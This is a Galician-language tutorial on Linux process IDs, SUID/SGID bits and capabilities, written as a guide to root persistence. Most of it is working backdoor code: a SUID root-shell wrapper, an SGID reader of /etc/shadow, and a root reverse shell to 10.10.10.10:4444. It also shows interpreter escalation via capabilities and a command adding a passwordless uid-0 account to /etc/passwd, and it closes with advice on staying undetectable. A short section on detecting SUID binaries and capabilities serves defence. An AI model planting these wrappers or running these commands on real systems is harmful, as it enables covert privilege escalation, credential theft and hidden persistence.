Ir ao contido

UIDs, Syscalls e Wrappers de Persistencia

1. Identificadores de Proceso e Identidade

Linux non usa o teu nome de usuario para comprobar permisos, senón unha serie de identificadores numéricos (IDs) gardados na estrutura de credenciais do proceso no kernel.

Tipo Descrición Uso Onde se garda?
Real UID/GID O usuario/grupo que iniciou o proceso Identifica quen é realmente o propietario do proceso. Estrutura task_struct do kernel (campo uid/gid)
Effective UID/GID O usuario/grupo usado para comprobacións de permisos xerais Determina a maioría de comprobacións de acceso (sinais, capacidades). Estrutura task_struct do kernel (campo euid/egid)
Saved UID/GID Copia de seguridade do Effective UID/GID orixinal Permite alternar entre privilexios sen perder o UID/GID elevado. Estrutura task_struct do kernel (campo suid/sgid)
Filesystem UID/GID O usuario/grupo usado para comprobacións de disco Determina os permisos ao acceder ao sistema de ficheiros (ler/escribir). Estrutura task_struct do kernel (campo fsuid/fsgid)
Concepto de FSUID e FSGID

O FSUID (Filesystem UID) e o FSGID (Filesystem GID) son identificadores específicos de Linux. Na maioría dos casos, o FUID coincide co EUID.

  • Orixe: Foron creados para permitir que servidores de ficheiros (como NFS) poidan actuar en nome dun usuario para acceder a ficheiros sen permitir que ese servidor lle envíe sinais (como kill) ao usuario que está a ser suplantado.
  • Uso: O kernel utiliza o FUID/FGID para comprobar permisos de lectura, escritura e execución exclusivamente no sistema de ficheiros.

Exercicios de Recoñecemento

Exercicio 1: Observar os IDs da túa Shell

cat /proc/self/status | grep -E "Uid|Gid"
Saída:
Uid: 1000 1000 1000 1000
Gid: 1000 1000 1000 1000
^ ^ ^ ^ | | | | Real Effective Saved Filesystem

Exercicio 2: O bit SUID no mundo real (passwd e /etc/shadow)
1. Comproba o ficheiro: ls -l /etc/shadow (Vulnerable se o grupo é shadow).
2. Comproba o binario: ls -l /usr/bin/passwd (Verás o bit s).
3. Ver o proceso vivo:
- Abre passwd nun terminal.
- Noutro busca o PID e mira os UIDs/GIDs:

$ ps aux | grep [p]asswd ; PID=$(pgrep passwd) ; echo ${PID}   
$ cat /proc/${PID}/status | grep -E 'Uid|Gid'
Uid:    1000    0       0       0
Gid:    1000    1000    1000    1000
        ^       ^       ^       ^
        |       |       |       |
      Real   Effective Saved  Filesystem


2. A Caixa de Ferramentas: Syscalls e Administración

A. Funcións de C e Syscalls (<unistd.h>)

  • setuid(0): Pon RUID, EUID e FUID a 0.
  • setreuid(0, 0) / setregid(gid, gid): Forza a igualdade entre IDs reais e efectivos.
  • execl(): Substitúe o proceso sen lanzar unha shell intermedia (máis seguro e evita bloqueos).

B. Comandos de Administración

  • gcc -o binario fonte.c: Compilar.
  • sudo chown usuario:grupo binario: Cambiar propietario/grupo.
  • sudo chmod 4755 binario: Activar SUID (4).
  • sudo chmod 2755 binario: Activar SGID (2).

3. O Dilema: system() vs Intérpretes vs exec()

Por que system() adoita fallar?

/bin/sh (Bash/Dash) resetea os privilexios se RUID != EUID.
- Solución: Usar setuid(0) antes ou usar o flag -p (bash -p).

A opción -p de Bash (Privileged Mode)

Executar /bin/bash -p impide que Bash renuncie ao UID efectivo.


4. Casos Prácticos de Persistencia

Entendendo os Includes en C

Include Función
#include <stdio.h> printf(), perror().
#include <stdlib.h> system().
#include <unistd.h> setuid(), getuid(), execl().
#define _GNU_SOURCE Habilita setregid(). Debe ser a liña 1.

Caso 1: Wrapper SUID para Root Shell (C)

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0); 
    setgid(0);
    execl("/bin/bash", "bash", "-p", NULL);
    return 0;
}
Comandos:
gcc -o root_shell root_shell.c
sudo chown root:root root_shell
sudo chmod 4755 root_shell
./root_shell
# Resultado: id -> uid=0(root) gid=0(root)

Caso 2: Wrapper SGID para acceso ao Grupo shadow

Para que funcione, usamos execl e o binario debe pertencer ao grupo shadow.

#define _GNU_SOURCE
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main() {
    gid_t gid = getegid(); // Obtén o GID do grupo 'shadow'
    setregid(gid, gid);    // Iguala Real e Efectivo
    
    printf("[+] Lendo shadow con GID: %d...\n", getgid());
    // Usamos execl para evitar que /bin/sh bloquee o acceso
    execl("/bin/cat", "cat", "/etc/shadow", NULL);
    
    perror("Erro en execl");
    return 1;
}
Comandos:
gcc -o read_shadow read_shadow.c
sudo chown root:shadow read_shadow   # IMPORTANTÍSIMO: grupo shadow
sudo chmod 2755 read_shadow          # Activa SGID
./read_shadow
# Resultado: mostra o contido de /etc/shadow

Caso 3: Reverse Shell Root

#include <unistd.h>
#include <stdlib.h>

int main() {
    setuid(0);
    setgid(0);
    system("bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1'");
    return 0;
}
Comandos:
gcc -o rev_shell rev_shell.c
sudo chown root:root rev_shell
sudo chmod 4755 rev_shell
# Nunha terminal: nc -lvnp 4444
# Noutra: ./rev_shell

Caso 4: Intérpretes (Python/Perl/Ruby)

Se o intérprete ten o bit SUID:

  • Python:

    sudo cp -pv $(which python) python
    sudo chown root:root python
    sudo chmod 4755 python
    ./python -c 'import os; os.setuid(0); os.system("/bin/bash -p")'
    

  • Perl:

    sudo cp -pv $(which perl) perl
    sudo chown root:root perl
    sudo chmod 4755 perl
    ./perl -e '$ENV{PATH}="/bin:/usr/bin"; use POSIX; setuid(0); exec "/bin/bash -p"'
    

  • Ruby:

    sudo cp -pv $(which ruby) ruby
    sudo chown root:root ruby
    sudo chmod 4755 ruby
    echo 'Process::Sys.setuid(0); exec "/bin/bash -p"' > /tmp/exploit.rb
    ./ruby /tmp/exploit.rb
    


5. Linux Capabilities: Alternativa Moderna aos SUID

Tradicionalmente, en Linux, a seguridade era binaria: ou eras un usuario normal sen privilexios ou eras root con control total. As Capabilities permiten dividir o poder de root en pequenos fragmentos de privilexios específicos.

Isto é extremadamente útil para persistencia, xa que permite que un binario realice tarefas de root sen necesidade de activar o bit SUID nin de ser propiedade de root.

Capabilities Comúns para Escalada e Persistencia:

  • cap_setuid: Permite que un proceso cambie o seu UID de forma arbitraria.
  • cap_setgid: Permite que un proceso cambie o seu GID.
  • cap_dac_override: Ignora as comprobacións de permisos de lectura, escritura e execución de ficheiros (podes ler calquera ficheiro do sistema).
  • cap_sys_admin: A "capability" máis potente; permite realizar tarefas administrativas (mount, configuración de rede, etc.).

Comandos de Xestión:

  • Ver capabilities dun ficheiro: getcap /ruta/do/binario
  • Asignar capabilities: sudo setcap cap_setuid+ep /ruta/do/binario
  • Eliminar capabilities: sudo setcap -r /ruta/do/binario

Exemplos Prácticos:

A. cap_setuid (Cambiar UID)

Permite que un proceso cambie o seu UID de forma arbitraria.
- Exemplo: Converter un intérprete de Python nunha ferramenta para obter root shell.

sudo cp $(which python3) ./py_setuid
sudo setcap cap_setuid+ep ./py_setuid
# Uso: o proceso cambia a UID 0 e lanza bash
./py_setuid -c 'import os; os.setuid(0); os.system("/bin/bash -p")'

B. cap_setgid (Cambiar GID)

Permite que un proceso cambie o seu GID. É útil para acceder a ficheiros protexidos por grupos específicos (como shadow).
- Exemplo: Acceder aos hashes de contrasinais sen ser root, asumindo o grupo shadow.

sudo cp $(which python3) ./py_setgid
sudo setcap cap_setgid+ep ./py_setgid
# Uso: asumimos GID 42 (habitual de shadow) para ler o ficheiro
./py_setgid -c 'import os; os.setregid(42, 42); os.system("cat /etc/shadow")'

C. cap_dac_override (Ignorar Permisos)

Ignora as comprobacións de permisos de lectura, escritura e execución (DAC - Discretionary Access Control). Podes ler ou escribir en calquera ficheiro do sistema, independentemente de quen sexa o dono.
- Exemplo: Ler /etc/shadow directamente ou modificar /etc/passwd para engadir un usuario.

sudo cp $(which python3) ./py_dac
sudo setcap cap_dac_override+ep ./py_dac
# Uso: ler un ficheiro que só root pode ver
./py_dac -c 'print(open("/etc/shadow").read())'
# Uso: engadir unha liña a /etc/passwd (moi perigoso)
./py_dac -c 'open("/etc/passwd", "a").write("hacker::0:0:hacker:/root:/bin/bash\n")'

D. cap_sys_admin (O "Pequeno Root")

A capability máis potente. Permite realizar unha enorme variedade de tarefas administrativas, como montar sistemas de ficheiros, configurar a rede ou cambiar o nome do host.

  • Exemplo: Cambiar o nome da máquina en RAM
    A syscall sethostname cambia o nome na memoria do sistema, pero non no ficheiro de configuración.
    sudo cp $(which python3) ./py_sysadmin
    sudo setcap cap_sys_admin+ep ./py_sysadmin
    # Uso: cambiar o hostname do sistema a través do módulo socket
    ./py_sysadmin -c 'import socket; socket.sethostname("pwned-machine")'
    # Verifica con: hostname (na RAM cambiou o nome do equipo pero /etc/hostname segue anterior ao cambio)  
    
Cambio Volátil vs Persistente

Lembra que cap_sys_admin permite modificar o comportamento do sistema en execución (RAM), mentres que para que un cambio sobreviva a un reinicio, normalmente necesitarás cap_dac_override para modificar os ficheiros de configuración en disco.

  • Exemplo: Montar un disco para manipular datos.
    sudo cp $(which python3) ./py_sysadmin
    sudo setcap cap_sys_admin+ep ./py_sysadmin
    # Uso: montar un sistema de ficheiros tmpfs sobre un directorio restrinxido
    # Como Python non ten os.mount, usamos ctypes para falar coa librería de C do sistema (libc).
    # Exemplo para un tmpfs de 100MB
    ./py_sysadmin -c 'import ctypes; ctypes.CDLL("libc.so.6").mount(b"none", b"/mnt", b"tmpfs", 0, b"size=100M")'
    
tmpfs
  • Que é tmpfs?: Como indica o seu nome (temporary file system), é un sistema de ficheiros que reside enteiramente na memoria RAM (e no swap se fose necesario). Non escribe nada no disco físico.
  • O límite do 50%: Por defecto, cando montas un tmpfs sen especificar un tamaño máximo, o kernel de Linux asígnalle un límite teórico do 50% da memoria RAM total do sistema.
  • Non "rouba" a RAM: O sistema só usará a RAM real a medida que vaias metendo ficheiros dentro de /mnt. Se o cartafol está baleiro, o consumo de RAM é practicamente cero.
  • Velocidade extrema: Ao traballar directamente en RAM, a lectura e escritura en /mnt será moito máis rápida que en calquera outra parte do disco.
  • Volatilidade: No momento en que reinicies a máquina ou desmontes o cartafol (sudo umount /mnt), todo o que houbera dentro desaparecerá para sempre, xa que a RAM bórrase ao perder a corrente.

6. Resumo de Seguridade

  1. Detección de SUID: find / -perm -4000 -type f 2>/dev/null.
  2. Detección de Capabilities: getcap -r / 2>/dev/null.
  3. Prevención: Montar /home e /tmp con nosuid (que tamén bloquea o uso de capabilities en binarios desas particións en moitos sistemas modernos).
  4. A Regra de Ouro: Se usas system(), executa setuid(0) antes. Se queres evitar restricións da shell ou ser indetectable, usa execve(), intérpretes ou, se tes oportunidade, asigna Capabilities a binarios discretos.